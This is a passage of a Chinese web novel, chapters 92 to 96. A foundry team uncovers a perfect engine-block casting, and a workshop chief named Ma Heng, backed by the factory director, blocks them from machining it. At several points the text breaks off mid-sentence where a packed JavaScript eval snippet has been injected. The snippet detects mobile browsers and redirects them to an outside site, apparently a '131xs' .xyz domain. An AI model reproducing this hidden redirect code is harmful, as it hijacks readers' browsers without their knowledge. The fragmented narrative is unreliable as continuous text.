呈现在众人眼前的,是一片依旧覆盖着厚厚黑色铸型砂的、巨大的平面。 无数黑色的砂块,因为失去了顶盖的束缚,正簌簌地向下滑落。 什么也看不清。 “继续。” 江建国面无表情地下令。 工人们立刻换上铁锹和耙子,开始清理上层的砂砾。 他们的动作小心翼翼,仿佛不是在清理砂石,而是在发掘一件埋藏了千年的稀世珍宝。 黑色的砂砾,如同退潮的海水,被一层层地向四周拨开。 渐渐地,一个深灰色的、带着金属独有质感的轮廓,从那片黑色之中,隐隐地浮现了出来。 先是一个平整的顶面,然后是几根圆柱形的冒口…… 随着清理范围的扩大,那轮廓也愈发清晰、愈发庞大。 它静静地蛰伏在那里,像一头沉睡在火山灰下的钢铁巨兽,正在被唤醒。 所有人的呼吸,都在这一刻屏住了。 路承舟的拳头,攥得指甲几乎要嵌进肉里。 他的心脏,狂跳得如同要挣脱肋骨的囚笼。 来了。 最终的审判,来了。 就在这时,一名负责清理边缘的老师傅,手中的铁耙忽然碰到了一个坚硬的物体,发出“当”的一声轻响。 他愣了一下,随即用手拨开那里的砂砾。 下一秒,他的瞳孔骤然收缩,整个人如同被闪电击中一般,僵在了原地。 “老张,怎么了?” 丁建中察觉到他的异常,沉声问道。 那位姓张的老师傅没有回答,他只是缓缓地抬起头,脸上是一种混杂着极度震惊、不敢置信与狂喜的、近乎扭曲的表情。 他抬起那只因为过度用力而剧烈颤抖的手,指向他刚刚拨开的那片区域。 “裂……裂……” 他的嘴唇哆嗦着,喉咙里像是卡着一块烙铁,艰难地挤出了一个字。 王德发的脸上,瞬间绽放出胜利者般的、灿烂的笑容。 完了! 路承舟的脑子里“嗡”的一声,一片冰凉! 然而,就在那片死寂之中,那位张师傅用尽了全身的力气,终于吼出了那个完整的词。 “……没裂!” “光滑得像**镜子面!一点裂纹都没有!” 第92章 钢铁的初啼 那句穿透了死寂与绝望的嘶吼,如同投入平静湖面的一颗炸雷,瞬间将整个车间所有凝固的情绪彻底引爆。 “没裂!” 这两个字,带着滚烫的、灼人的力量,像一道决堤的洪流,冲垮了所有人心中那道名为“煎熬”的堤坝。 狂喜的浪潮以那位张姓老师傅为中心,无可阻挡地席卷了每一个角落。 “嗷!” 不知是谁先发出了一声压抑到极致的、如同野兽般的咆哮,紧接着,山呼海啸般的欢呼声轰然炸响,几乎要将车间的铁皮屋顶掀飞! 工人们扔掉了手中的工具,他们通红着眼睛,互相用尽全力地捶打着对方的肩膀和后背,用这种最原始、最粗野的方式宣泄着那份劫后余生的狂喜。 有人跳了起来,有人则双腿一软,直接瘫坐在地,仰着头,对着那昏暗的穹顶放声大笑,笑着笑着,眼泪便不受控制地夺眶而出。 这片沸腾的海洋中,路承舟是唯一的孤岛。 他的世界里,所有的声音都在那一瞬间被抽离。 那句“没裂”,像一枚精准的银针,刺破了他紧绷到极限的神经。 一股巨大的、几乎要将他吞噬的眩晕感猛然袭来,他眼前一黑,身体不受控制地向后晃去。 一只强壮有力的手臂,及时地从旁伸出,稳稳地架住了他。 是江建国。 “站稳了,小路。” 江建国的手臂如铁钳般有力,他的声音在路承舟耳边响起,依旧是那份雷打不动的沉静,但那声音深处,却藏着一丝难以察觉的、如释重负的颤抖,“我们的作品,才刚刚出世呢。” 路承舟扶着身旁的机床,大口大口地喘息着,贪婪地呼吸着那混杂着焦糊与铁锈味的空气。 他缓缓抬起头,视野重新变得清晰。 他看见孙大海正一步一步,极其缓慢地走向那座初露峥嵘的铸件。 他的步伐沉重而蹒跚,仿佛每一步都耗尽了他全身的力气。 他走到那片被清理出的、闪烁着深灰色金属光泽的平面旁,缓缓地、极其珍重地蹲下身。 他伸出那只布满老茧与烫伤的右手,却在即将触碰到铸件表面时,猛地停住了。 他的手,在剧烈地颤抖。 这位玩了一辈子铁水的炉前总指挥,这位敢于直面千度钢流的钢铁硬汉,此刻,竟不敢去触碰自己亲手浇铸出的、这件堪称完美的造物。 他只是用那双浑浊而赤红的眼睛,死死地盯着那片光滑如镜的表面,嘴唇翕动着,却发不出任何声音。 最终,两行滚烫的老泪,从他那饱经风霜的眼角,轰然滑落,砸在那依旧温热的砂砾上,瞬间蒸发,了无痕迹。 成了。 真的成了。 这无声的泪水,比任何激昂的欢呼都更具力量。 而在这片狂喜的背景板下,王德发的脸色,却经历了一场精彩绝伦的剧变。 那份志在必得的讥讽,早已凝固成了一块可笑的、僵硬的面具。 他的瞳孔因震惊而收缩,嘴巴微微张着,喉结上下滚动,却一个字也说不出来。 不可能! 他的脑子里只剩下这三个字在疯狂地尖叫。 一个乳臭未干的毛头小子,一群被淘汰的老家伙,怎么可能造出这种东西? 这不符合规矩,更不符合他认知里的逻辑! 这一定是侥幸,是瞎猫碰上了死耗子! “愣着干什么!” 王德发像是被踩了尾巴的猫,猛地发出一声尖利的咆哮,声音因为情绪的失控而变得有些扭曲,“都给我继续挖!把整个都给我挖出来!” 他三步并作两步冲了过去,指着那座巨大的砂箱,对着周围的工人厉声命令道:“我要看个清清楚楚!我不信它没有砂眼!没有气孔!没有冷隔!” 他一连串地吼出了好几个铸造缺陷的专业名词,试图用这种方式来重塑自己摇摇欲坠的权威。 然而,这一次,工人们没有被他吓住。 他们只是用一种夹杂着怜悯与嘲弄的眼神,静静地看着他。 那股发自内心的、对技术和成果的敬畏,已经让他们拥有了对抗权力的底气。 “王厂长说得对。” 江建国平静的声音响起,他走上前,目光扫过众人,“大家加把劲,让我们一起,迎接我们红星厂第一台柴油机缸体的诞生。” 他的话,重新点燃了工人们的热情。 “好嘞!” 一声应和,众人再次抄起工具,干劲十足地投入到最后的清理工作中。 这一次,他们的动作中充满了自豪与喜悦,每一铲下去,都带着迎接新生的神圣感。 黑色的砂砾被迅速地清理干净,那座钢铁巨兽的真容,也一寸一寸地,毫无保留地展现在了所有人面前。 当最后一片浮砂被扫落,整个车间,再次陷入了一片死寂。 所有人都屏住了呼吸,呆呆地看着眼前的景象,仿佛被一种无形的力量扼住了喉咙。 那是一件艺术品。 一件充满了冰冷、狰狞的工业美感的艺术品。 复杂的加强筋络,在缸体表面纵横交错,勾勒出力量的轮廓。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341874|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平整的顶面与底面,光洁如新,找不到一丝一毫的瑕疵。 而那些最考验技术的薄壁散热片,更是片片分明,边缘锐利,宛如刀锋。 它静静地躺在那里,通体呈现出一种均匀而沉稳的深灰色。 那不是死气沉沉的灰,而是一种仿佛蕴含着无尽能量、随时准备爆发出雷霆之力的金属原色。 “量……量尺寸……” 路承舟的声音有些发飘,他感觉自己的双腿像是踩在棉花上。 几个技术员立刻拿着卡尺和量规冲了上去,开始对各个关键部位进行紧张而又精密的测量。 王德发不死心,他戴上一副白手套,亲自趴在缸体上,眼睛瞪得像铜铃,一寸一寸地,如同寻找杀父仇人一般,疯狂地搜索着可能存在的任何缺陷。 然而,他失望了。 除了完美,还是完美。 “顶面平面度,误差零点零二毫米!” “缸孔圆度,符合图纸要求!” “主油道轴线,无偏移!” 一个个测量数据,被技术员们用带着颤音的声调高声报出。 每一个数据,都像一记响亮的耳光,狠狠地抽在王德发的脸上。 他的脸色,从铁青变成了酱紫,最后化作一片死灰。 他踉跄着后退了两步,靠在一旁的箱子上,眼神涣散,嘴里无意识地喃喃着:“不可能……这绝对不可能……” 他败了。 败得一塌糊涂,体无完肤。 江建国走到他的面前,居高临下地看着他,眼神里没有胜利者的炫耀,只有一片深不见底的平静。 “王厂长,” 他缓缓开口,一字一顿,“现在,你还认为它是一块废铁吗?” 王德发猛地抬起头,怨毒的目光死死地盯着江建国。 他张了张嘴,似乎想说什么场面话来挽回一丝颜面。 可他最终什么也没说出来。 在事实面前,任何语言都显得苍白无力。 他重重地哼了一声,猛地一甩手,拨开挡在身前的人,头也不回地,狼狈不堪地向车间外走去。 当他走到门口时,脚步却顿住了。 他没有回头,只是留下了一句阴冷无比的话。 “别高兴得太早!这只是个毛坯!能不能通过机加工的检验,能不能通过最终的压力测试,还两说着呢!” “江建国,路承舟,你们给我等着!” 沉重的铁门被他用力地摔上,发出震耳欲聋的巨响,也为这场对峙,画上了一个暂时的、却又充满了**味的句号。 第93章 余烬中的新火 那扇沉重的铁门轰然关闭,巨响在空旷的车间里激起一圈又一圈沉闷的回音,仿佛一块巨石砸入死水。 喧嚣与狂喜,被这声巨响无情地斩断。 刚刚还沸腾如熔炉的车间,骤然陷入一片诡异的死寂。 空气中,胜利的甜美气息尚未散尽,王德发那句阴冷的诅咒却已如毒液般迅速渗透进来,让每一个人的血液都感到了一丝寒意。 工人们脸上的笑容凝固了,他们面面相觑,眼神中那份刚刚燃起的、名为“希望”的火焰,被迎头泼上了一盆刺骨的冷水。 “呸!” 一声淬了火的怒骂,撕裂了这片凝固的寂静。 孙大海猛地转过身,朝着铁门的方向狠狠啐了一口。 他那张沟壑纵横的脸因为极致的愤怒而涨得通红,胸膛剧烈地起伏着,像一架即将**的风箱。 “一个连铁水和钢水都分不清的官僚,一个只知道在办公室里喝茶看报的胖子,他也配对我们的心血结晶指手画脚?” 他的声音,沙哑,暴怒,充满了老一辈匠人最纯粹的、不容玷污的骄傲。 这声怒吼,像一根火柴,重新点燃了众人心中那被压抑下去的火焰。 “就是!他懂个屁!” “咱们的东西好不好,要铁疙瘩自己说话,轮不到他来放屁!” “机加工就机加工,压力测试就压力测试!老子们用命浇出来的东西,还怕他检验?” 压抑的怒火转化为更加激昂的斗志,工人们的脸上重新泛起了血色。 他们不再欢呼,但那一道道望向铸件的目光,却比刚才更多了几分悍不畏死的决绝。 这不再仅仅是一次技术上的胜利,这已经是一场尊严之战。 路承舟没有说话。 他只是静静地走到那座巨大的缸体旁,缓缓伸出手,将手掌贴在了那依旧温热的金属表面上。 一股沉稳而厚重的热量,透过掌心,源源不断地传递而来。 这温度,不再是浇注时那足以熔化一切的狂暴,而是一种新生的、充满了生命力的温润。 他的指尖,在那片光洁如镜的平面上轻轻划过,感受着那近乎完美的、毫无瑕疵的质感。 王德发的话,虽然恶毒,却并非全无道理。 铸造,仅仅是**长征的第一步。 一个再完美的毛坯,如果内部存在着肉眼无法察觉的组织缺陷与内应力,那么在高速旋转的刀头和数以百计的大气压面前,它依然会像一块酥脆的饼干一样,轰然碎裂。 真正的考验,确实还在后面。 “小路。” 江建国不知何时走到了他的身边,目光同样落在这件凝聚了所有人血汗的杰作上。 他没有问路承舟在想什么,只是用一种平静的、陈述事实的语气说道:“从现在开始,它就不再仅仅是一件铸件了。它有了自己的生命,也迎来了它自己的战争。” 路承舟缓缓抬起头,迎上了江建国那双深邃的、仿佛能洞悉一切的眼睛。 “江总,” 他的声音有些干涩,但思路却前所未有的清晰,“我需要立刻拿到这炉铁水所有的成分数据,还有从开炉到浇注完成的完整温度曲线。我要重新进行一次应力模拟计算,找出它内部可能存在的薄弱点,为下一步的机加工和热处理,提供最优的工艺参数。” 胜利的喜悦,在他这里已经迅速褪去,转化为一种更加冷静、更加专注的战斗姿态。 他就像一台精密的战争机器,在打赢了一场战役之后,立刻开始分析数据,为下一场更加艰巨的攻坚战,准备**。 江建国欣慰地点了点头。 他最欣赏的,就是路承舟身上这股超越年龄的冷静与严谨。 他转过身,面向所有工人,声音虽然不大,却带着一种足以安定人心的力量。 “弟兄们,都辛苦了。” 他深深地鞠了一躬。 一个总工程师,向一群普通的工人,行了如此大礼。 所有人都愣住了,随即一股热流从心底猛地涌起,冲散了最后一丝因王德发的威胁而产生的阴霾。 “我们打赢了最难的一仗。” 江建国直起身,目光缓缓扫过每一张被汗水和灰尘染黑的脸庞,“我们用事实证明了,我们不是废物,我们的技术,更不是一堆垃圾!” “现在,有人不服气,有人想看我们的笑话,想等着我们从高处摔下来。” 他的嘴角,勾起一抹淡淡的、却充满了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我们的战争,才刚刚开始。” 第94章 图纸之外的战争1 夜色如墨,将红星厂巨大的轮廓无声地吞噬。 白日的喧嚣与激昂早已沉淀,只剩下几盏孤零零的防爆灯,在铸造车间内投下昏黄而疲惫的光晕。 那座刚刚经历过烈火洗礼的柴油机缸体,此刻正静静地卧在车间中央,像一头蛰伏的钢铁巨兽,体表的最后一丝余温,与深夜的寒气交融,在空气中氤氲出一种近乎神圣的薄雾。 路承舟没有走。 他靠在一台冰冷的C620车床旁,脚下散落着十几张写满了密集公式与草图的纸张。 他已经在这里不眠不休地计算了整整六个小时。 胜利的狂喜早已被一种更加深沉、更加冷静的专注所取代。 他的大脑,此刻就是一台高速运转的差分机,将材料学、金属切削原理、热力学与应力分析等无数个变量,投入一场无声的战争。 图纸上的胜利,终究只是二维的。 而眼前这件沉重、坚硬、内部蕴藏着无数未知应力的造物,才是三维世界里最严苛的考官。 他终于停下了笔。 长长地,他吐出了一口浊气,那口气在微凉的空气中化作一团白雾。 他的双眼布满了血丝,脸色因极度的精神消耗而显得有些苍白,但那双眼睛的深处,却燃烧着一簇明亮得惊人的火焰。 “江总。” 他站起身,声音因为许久未曾说话而显得有些沙哑。 一直默默守护在一旁的江建国与孙大海,同时将目光投了过来。 “算完了?” 江建国问道,他的声音里带着一丝不易察觉的关切。 路承舟点了点头,他拿起那叠尚带着体温的图纸,走到两人面前。 “初步的机加工工艺流程,还有关键部位的热处理方案,都出来了。” 他的语气平静,却带着一种不容置疑的自信。 那是一种源于科学与精密计算的、最纯粹的底气。 孙大海凑过来看了一眼,纸上那些他完全看不懂的符号与曲线,让他一阵头晕眼花。 他挠了挠头,瓮声瓮气地说道:“小路,你就直说,咱们这宝贝疙瘩,到底经不经得住那些车刀铣刀的折腾?” 路承舟的目光,落在那座巨大的缸体上,眼神变得复杂而深邃。 “孙师傅,铸造,是赋予它生命。而机加工,则是为这具躯体,雕刻出经络与骨骼。” 他顿了顿,用一种更加直白的方式解释道,“它现在很强壮,但也很脆弱。任何一次错误的切削,任何一点超过预期的加工应力,都可能在它体内埋下一道我们看不见的暗伤。平时或许无事,可一旦将来在高压和高温下运转,那道暗伤,就会成为撕裂它整个身体的起点。” 这番话,让孙大海脸上的最后一丝轻松也消失了。 他终于明白,这场战争,远未到可以庆功的时刻。 江建国接过那几张图纸,仔仔细细地看了一遍。 他虽然不是专精于此,但丰富的工程经验让他能轻易看懂其中的核心思路。 他越看,眼神就越亮。 “好……好一个‘分步退火,逐层释放’的方案!” 江建国忍不住低声赞叹,“你把热处理工艺穿插在了整个机加工流程之中,而不是像常规那样,等所有加工完成后再进行最后一次整体处理。这样一来,每完成一道关键工序,就通过一次局部的、低强度的退火来释放掉加工产生的内应力,确保下一步的加工,是在一个‘干净’的基体上进行。” 他抬起头,目光灼灼地看着路承舟,那眼神里充满了惊叹与欣赏。 “小路,你这个想法,简直是天才!” 路承舟摇了摇头,神色依旧平静:“这只是理论上的最优解。想要实现它,我们需要机加工车间最顶尖的设备,和最顶尖的老师傅。尤其是镗削缸孔和研磨顶面的那台T68卧式镗床,还有龙门刨床,精度差一点都不行。” 此话一出,刚刚才被点燃的气氛,瞬间又冷却了下来。 江建国脸上的笑容也缓缓收敛,他沉默了片刻,将图纸小心翼翼地折好,放入内侧的口袋,动作郑重得如同收藏一份绝密文件。 “我明白。” 他沉声说道,“天亮之后,我亲自带你去机加工车间。” 三人之间,再无多余的话语。 他们都清楚,即将面对的,将是另一场截然不同的、却可能更加凶险的战争。 那是一场关于人情、资源与权力的博弈,战场,就在图纸之外。 …… 第二天清晨,当第一缕阳光刺破晨雾,为红星厂的烟囱镀上一层金边时,江建国已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341876|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着一脸倦容却精神矍铄的路承舟,站在了机加工车间的门口。 与铸造车间的粗犷、炽热不同,这里是另一个世界。 空气中弥漫着一股浓郁的、由切削液和机油混合而成的独特气味。 上百台各种型号的机床整齐排列,构成了一片钢铁森林。 刺耳的切削声、马达的嗡鸣声与金属的撞击声交织在一起,谱写出一曲激昂而又精密的工业交响乐。 江建国没有理会那些投来的好奇目光,径直带着路承舟,走向了车间尽头那间挂着“生产调度室”牌子的办公室。 办公室的门虚掩着,里面传来一个不紧不慢的声音。 “……所以说,这批泵体的加工顺序要调整一下,优先保证给矿务局的那批货。张主任,这可是王厂长亲自交代下来的死任务,这个月完不成,咱们谁都别想好过。” 江建国推门而入。 一个戴着深度近视眼镜、身材瘦高的中年干部正坐在桌后,手里拿着一本生产台账,对着面前一个工段长模样的汉子交代着工作。 看到江建国进来,他愣了一下,随即慢条斯理地合上台账,推了推鼻梁上的眼镜。 “江总,什么风把您给吹来了?” 来人正是机加工车间的主任,马恒。 他的语气客气,却透着一股公事公办的疏离。 “马主任,” 江建国开门见山,“我来,是想请你帮个忙。我们项目组的柴油机缸体毛坯,昨天出来了,想请你们车间给加工一下。” 马恒的眼皮跳了一下,脸上露出一丝不出所料的、为难的笑容。 “哎呀,江总,恭喜恭喜啊!您那项目的事,我可都听说了,真是给咱们红星厂争光!” 他先是客套地恭维了一句,随即话锋一转,摊开手里的那本生产台账,一脸的苦涩,“可您瞧瞧,真不是我老马不帮忙。这个月的生产任务,早就排满了。别说插一个缸体进来,就是多插一个螺丝钉的活儿,我这儿都挤不出半点富余的机时啊。” 他指着台账上那排得密密麻麻的表格,叹了口气:“王厂长下了死命令,所有产能都要优先保证出口和重点单位的订单。我这……实在是爱莫能助啊。” 这番滴水不漏的话,直接将江建国的所有请求,堵死在了门外。 第95章 图纸之外的战争2 马恒那番滴水不漏的话,像一堵用陈年官腔砌成的无形之墙,悄无声息地横亘在江建国面前。 办公室内的空气,瞬间变得粘稠而压抑。 那台老旧电风扇有气无力地转动着,发出的“嘎吱”声,成了此刻唯一的声响,衬得这片沉默愈发尴尬。 江建国的脸色没有变。 他那张被岁月刻下无数痕迹的脸上,看不出丝毫的怒意或失望,只是那双深邃的眼眸,静静地凝视着马恒,目光平静,却带着一种足以穿透人心的审视。 “老马,” 江建国缓缓开口,声音沉稳依旧,“生产任务紧,我理解。厂里的难处,我也比谁都清楚。但是,这台柴油机对红星厂意味着什么,你应该也明白。” 他向前走了一步,那股久居上位者的气场,不经意间便弥散开来。 “它不是我江建国一个人的项目,也不是铸造车间那帮老师傅的炫技之作。它是我们红星厂,是这几千号工人,能不能在未来几年吃上饭的指望。” 这番话,他说得不重,却字字千钧,直接将事情的性质从“帮忙”拔高到了“存亡”的高度。 马恒推眼镜的动作,明显地顿了一下。 他干笑了两声,身体不自觉地向后靠了靠,试图拉开一点距离,以缓冲那股扑面而来的压力。 “江总,您这话太严重了,我可担待不起。” 他摆出一副诚惶诚恐的模样,手里的台账却捏得更紧了,“道理我都懂,可规矩就是规矩。王厂长三令五申,生产计划是高压线,谁碰谁触电。我这个车间主任,说白了也就是个看摊子的,哪有胆子私自调动机床?” 他将皮球干脆利落地踢给了王德发,把自己摘得一干二净。 这套炉火纯青的太极推手,显然已是他多年来赖以生存的看家本领。 江建国还要再说些什么,一直沉默不语的路承舟却忽然上前一步,拦在了他的身前。 “马主任。” 路承舟的声音很平静,甚至还带着一丝属于年轻人的清朗。 他没有像江建国那样谈大局、讲道理,而是将目光,落在了马恒桌上那本摊开的生产台账上。 “我刚才在门口,好像听您在安排给矿务局的那批泵体?” 马恒一愣,不知道这个年轻人葫芦里卖的什么药,只得点了点头:“没错,那是省里的重点项目,催得急。” “那批泵体,如果我没记错图纸,关键工序应该是用X62W卧式铣床加工法兰盘,再用Z535摇臂钻打孔。” 路承舟的语速不快,吐字清晰,像是在陈述一个再简单不过的事实,“这两道工序,跟我们缸体加工所需要的T68卧式镗床,还有B2020龙门刨床,并不冲突。” 马恒的瞳孔,微不可察地收缩了一下。 路承舟却没有停下,他仿佛对那本台账了如指掌,继续说道:“按照标准工时计算,你们车间两台T68镗床,一台负责加工变速箱体,另一台负责加工减速机壳,采用两班倒的工作制,每天的有效加工时间不会超过十六个小时。刨去设备维护和工件交接的时间,每天至少有六到八个小时的空窗期。” “至于那台龙门刨……” 路承舟的嘴角,勾起一抹淡淡的弧度,“它更是个‘闲人’。除了给厂里那几台老掉牙的压力机刨一刨导轨,做一下年保维修,它大部分时间都在那里睡大觉。马主任,我说得对吗?” 这一连串精准到令人发指的数据,如同一颗颗呼啸的**,瞬间击穿了马恒用“生产任务饱满”编织出的那面看似坚不可摧的盾牌。 办公室里,死一般的寂静。 刚才那个还在跟江建国打太极的中年干部,此刻额头上已经渗出了一层细密的冷汗。 他看着眼前的这个年轻人,眼神里充满了震惊与不可思议。 他怎么会知道得这么清楚? 他甚至连机床的具体型号、加工的零件、工作时长都一清二楚! 他难道在自己车间里安了眼睛不成? 马恒不知道,路承舟在设计缸体加工工艺之前,早已将整个机加工车间的设备清单、人员配置乃至最近半年的生产排班表,都在脑子里过了无数遍。 对于他而言,这些冰冷的数据,就是战场上的地图,是排兵布阵的依据。 图纸之外的战争,早在踏入这间办公室之前,就已经开始了。 “你……你这是道听途说!” 马恒的脸色涨得有些发紫,语气也失了刚才的从容,变得尖锐起来,“生产调度是动态的,你说的都是理论情况!实际操作中,设备故障、人员调配,哪一样不需要时间?机时紧张就是紧张!” 他这是在强词夺理,垂死挣扎。 江建国看着眼前的这一幕,心中既是惊讶,又是无比的欣慰。 他没想到,自己这个只懂得埋头搞技术的小徒弟,竟然还藏着这样锋利的、足以一击致命的獠牙。 路承舟没有与他争辩,只是平静地, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341877|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提出了最后一个,也是最致命的问题。 “马主任,我们不需要您调整任何现有的生产计划,也不需要您手下最得力的那几个小组。我们只要您空出来的那台T68镗床,和那台常年闲置的龙门刨。” 他向前递出自己连夜绘制出的那叠工艺图纸,目光灼灼,直视着马恒躲闪的眼睛。 “设备我们自己调试,师傅我们自己想办法。出了任何问题,哪怕是把机床干废了,都由我们项目组一力承担,绝不牵连你马主任分毫。我们甚至可以立下军令状。” “现在,您还能告诉我,您到底在为难什么吗?” 这番话,如同一记重锤,狠狠地砸在了马恒的胸口。 路承舟已经将他所有的退路,所有的借口,全部堵死。 他把问题赤裸裸地摆在了桌面上:你不是没时间,也不是怕担责任,你就是单纯地,不想让我们用那两台最好的设备。 为什么? 答案,不言而喻。 马恒的嘴唇哆嗦了几下,脸色由紫转青,又由青转白。 他被逼到了悬崖边上,再也无法用任何借口来搪塞。 终于,他像是泄了气的皮球,猛地一拍桌子,从椅子上站了起来,声音因为羞恼而变得有些歇斯底里。 “够了!” 他指着门口的方向,近乎咆哮地吼道:“我实话告诉你们!那两台机床是咱们车间的宝贝疙瘩,是德国进口的洋玩意儿!你们那个什么狗屁缸体,谁知道里面有没有夹砂,有没有气孔?一刀下去,要是把几千块钱一把的进口刀头给崩了,这个责任谁负?” “别跟我说什么军令状!王厂长早就打过招呼了!你们那个项目,没有他的亲笔批条,别说动T68,就是想借一把锉刀,门儿都没有!” 图穷匕见。 所有的伪装都被撕下,露出了最核心的、也是最丑陋的症结。 这根本不是技术问题,也不是流程问题,这纯粹是王德发利用职权,对他们进行的精准狙击。 江建国的眼神,彻底冷了下来。 他拉住还想理论的路承舟,深深地看了马恒一眼,那眼神里,没有愤怒,只有一片冰冷的、令人心悸的平静。 “好,很好。” 他一字一顿地丢下这三个字,没有再多说一句废话,转身便向外走去。 路承舟紧随其后,在踏出办公室门口的那一刻,他回过头,平静地对那满脸狰狞的马恒说道:“马主任,你会后悔的。” 第96章 鬼见愁 刺耳的工业噪音被远远地甩在了身后,那扇隔绝了两个世界的办公室木门,此刻仿佛成了一道无法逾越的雄关。 走廊里空旷而寂静,冰冷的水泥地面反射着窗外投射进来的、苍白无力的天光。 江建国走在前面,他的背影如同一座沉默的山,宽阔,沉稳,却又透着一股令人心头发紧的孤绝。 他没有说话,每一步都踩得异常沉重,那清脆的脚步声在空荡的走廊里回响,像是为刚才那场惨败敲下的注脚。 路承舟跟在他的身后,目光平静地注视着这位长者。 他能感觉到,江建国那看似平静的身体里,正压抑着何等汹涌的怒涛。 那不是被人当面羞辱的愤怒,而是一种更深沉的、眼看心血与希望即将被无知与偏见扼杀的无力与悲凉。 这比愤怒本身,更伤人。 “后悔吗?” 终于,在走廊的尽头,江建国停下了脚步。 他没有回头,声音低沉得仿佛是从胸腔的深处发出。 “后悔跟我一起,跳进这个泥潭里。” 路承舟走到他的身侧,与他并肩而立。 他摇了摇头,目光穿过布满灰尘的玻璃窗,望向远处那片由无数机床组成的钢铁森林。 “我不后悔。” 他的声音清晰而坚定,“我只是在想,马主任刚才那副气急败坏的模样,很有趣。” 江建国终于回过头,有些诧异地看着他。 他本以为会看到年轻人的不甘或沮丧,却没想到,路承舟的脸上,竟然还带着一丝近乎冷酷的、运筹帷幄的平静。 “有趣?” “哀兵必胜,骄兵必败。他把王德发当成最后的王牌,歇斯底里地打了出来,恰恰说明,他自己的防线,已经被我们彻底击溃了。” 路承舟的嘴角,逸出一丝极淡的笑意,“他除了搬出厂长来压人,已经没有任何正当的理由可以拒绝我们。从规矩上讲,他已经输了。” 江建国沉默了。 他被路承舟这种超乎寻常的冷静所震撼。 这年轻人拥有一颗真正的大心脏,在看似山穷水尽的绝境里,他看到的不是绝望的悬崖,而是对手暴露出的致命破绽。 “规矩是死的,人是活的。” 江建国叹了口气,眼神重新变得黯淡,“王德发只要一天不松口,规矩就永远站在他们那边。我们赢了道理,却输了现实。” “所以,” 路承舟接过了他的话,目光中闪烁着锐利的光芒,“我们就必须找到一个,不把王德发的命令当回事,甚至连马恒的账都不买的人。” 江建国猛地一怔,他像是瞬间明白了什么,瞳孔骤然收缩。 “你是说……” “T68卧式镗床,是六年前从西德进口的精密设备,当时整个红星厂,只有一个人的技术能通过德方专家的考核,被允许独立操作这台机器。” 路承舟的语速不快,却像是在讲述一个早已烂熟于心的故事,“这个人,脾气古怪,性格孤僻,从不参与车间的任何集体活动,甚至连马恒这个车间主任的会,他都敢说不去就不去。” “他只听从两个东西的指令:一个是图纸,另一个,是他自己。” 路承舟转过头,迎上江建国那写满了震惊的目光,一字一顿地说道:“江总,我想去找机加工车间一组的,归师傅。” “归鸿。 ” 当“归鸿”这个名字从江建国口中吐出时,他的表情变得异常复杂,既有看到一丝曙光的振奋,又夹杂着更深层次的、仿佛触碰到了什么禁忌般的凝重。 “你竟然连他都知道了。” 江建国苦笑着摇了摇头,看向路承舟的眼神,像是在看一个怪物,“小路,你来厂里才多久?我感觉这红星厂里,就没有你不知道的秘密。” “一个合格的工程师,不仅要了解自己的图纸,更要了解实现图纸的每一个环节,包括设备,也包括人。” 路承舟平静地回答。 “说得好。” 江建国赞许地点了点头,但随即,他的眉头又紧紧锁起,“可你只知其一,不知其二。归鸿这个名字,在机加工车间,听起来更像是一个绰号。” “鬼见愁。” “什么?” 路承舟微微一愣。 “鬼见愁的‘鬼’。” 江建国解释道,“意思就是,连鬼见了他都要发愁。这个人,是整个红星厂最顶尖的、也是最难缠的匠人,没有之一。” 他的思绪仿佛回到了很多年前,语气中带上了一丝追忆。 “他的技术,没得说,是真正的国宝级。当年那台T68,德国专家调试了半个月,精度都达不到出厂标准,断言是运输途中受损。所有人都束手无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341878|183469||http|test|mini|href|location''.split(''|''),0,{})); () { 